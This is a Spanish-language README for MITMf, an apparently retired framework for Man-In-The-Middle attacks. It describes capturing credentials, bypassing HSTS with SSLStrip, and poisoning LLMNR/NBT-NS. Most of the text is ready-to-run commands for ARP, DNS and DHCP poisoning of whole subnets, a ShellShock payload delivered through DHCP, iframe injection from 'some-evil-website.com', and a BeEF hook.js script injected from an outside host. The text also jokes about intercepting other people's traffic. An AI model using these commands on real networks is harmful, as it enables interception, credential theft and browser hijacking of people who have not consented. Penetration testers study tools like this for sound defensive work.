Marco de trabajo para ataques Man-In-The-Middle
Framework para ataques Man-In-The-Middle
Este proyecto ya no se actualiza. MITMf fue creado para abordar la necesidad, en su momento, de una herramienta moderna para realizar ataques Man-In-The-Middle. Desde entonces, se han creado muchas otras herramientas que ocupan este espacio; probablemente deberías usar Bettercap, ya que es mucho más completo en funcionalidades y está mejor mantenido.
Tutoriales rápidos, ejemplos y novedades para desarrolladores en: https://byt3bl33d3r.github.io
Esta herramienta está basada en sergio-proxy y es un intento de revivir y actualizar el proyecto.
Puedes contactarme en:
Antes de reportar problemas, por favor lee la correspondiente en la wiki.
Por favor, consulta la wiki para instrucciones de instalación
MITMf tiene como objetivo ofrecer una solución integral para ataques Man-In-The-Middle y de red, actualizando y mejorando los ataques y técnicas existentes.
Originalmente construido para abordar las importantes carencias de otras herramientas (por ejemplo, Ettercap, Mallory), ha sido casi completamente reescrito desde cero para proporcionar un marco modular y fácilmente extensible que cualquiera pueda usar para implementar su propio ataque MITM.
El framework contiene un servidor SMB, HTTP y DNS incorporado que puede ser controlado y utilizado por los distintos plugins. También incluye una versión modificada del proxy SSLStrip que permite la modificación de HTTP y una omisión parcial de HSTS.
A partir de la versión 0.9.8, MITMf soporta filtrado y manipulación activa de paquetes (básicamente lo que hacían los etterfilters, pero mejor), permitiendo a los usuarios modificar cualquier tipo de tráfico o protocolo.
El archivo de configuración puede editarse sobre la marcha mientras MITMf está en ejecución; los cambios se propagarán a través del framework, lo que permite ajustar la configuración de plugins y servidores mientras se realiza un ataque.
MITMf capturará credenciales FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (todos los protocolos compatibles como HTTP, SMB, LDAP, etc.) y Kerberos mediante Net-Creds, que se ejecuta al inicio.
La integración de Responder permite el envenenamiento LLMNR, NBT-NS y MDNS, así como el soporte de servidor WPAD rogue.
Ahora puedes modificar cualquier paquete/protocolo interceptado por MITMf usando Scapy (¡no más etterfilters, hurra!).
Por ejemplo, aquí hay un filtro tonto que simplemente cambia la dirección IP de destino de los paquetes ICMP:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet para acceder al paquete en un formato compatible con Scapydata para acceder a los datos brutos del paqueteAhora, para usar el filtro, solo necesitas: python mitmf.py -F ~/filter.py
Probablemente quieras combinarlo con el plugin Spoof para interceptar tráfico de otras personas ;)
Nota: Puedes modificar los filtros sobre la marcha sin reiniciar MITMf.
El uso más básico, inicia el proxy HTTP y los servidores SMB, DNS, HTTP, junto con Net-Creds en la interfaz enp3s0:
python mitmf.py -i enp3s0
Envenena ARP a toda la subred con el gateway en 192.168.1.1 usando el plugin Spoof:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Lo mismo que arriba + un servidor proxy rogue WPAD usando el plugin Responder:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Envenena ARP a 192.168.1.16-45 y 192.168.0.1/24 con el gateway en 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Habilita el envenenamiento DNS mientras se envenena ARP (los dominios a suplantar se obtienen del archivo de configuración):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Habilita el envenenamiento LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Habilita el envenenamiento DHCP (el pool de IP y la subred se obtienen del archivo de configuración):
python mitmf.py -i enp3s0 --spoof --dhcp
Lo mismo que arriba pero con un payload ShellShock que se ejecutará si algún cliente es vulnerable:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inyecta un IFrame HTML usando el plugin Inject:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inyecta un script JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Inicia un portal cautivo que redirige todo a http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Inicia un portal cautivo en http://tu-ip/portal.html usando la página por defecto /portal.html (gracias a responder) y /CaptiveClient.exe (no incluido) desde la carpeta config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Lo mismo que arriba pero con el nombre de host captive.portal en lugar de IP (requiere que captive.portal resuelva a tu IP, por ejemplo, mediante envenenamiento DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Sirve un portal cautivo con una instancia adicional de SimpleHTTPServer sirviendo el directorio LOCALDIR en http://IP:8080 (cambia el puerto en mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Lo mismo que arriba pero con nombre de host:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
¡Y mucho, mucho más!
Por supuesto, puedes mezclar y combinar casi cualquier plugin (por ejemplo, ARP spoof + inject + Responder, etc.)
Para obtener una lista completa de opciones disponibles, simplemente ejecuta python mitmf.py --help
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr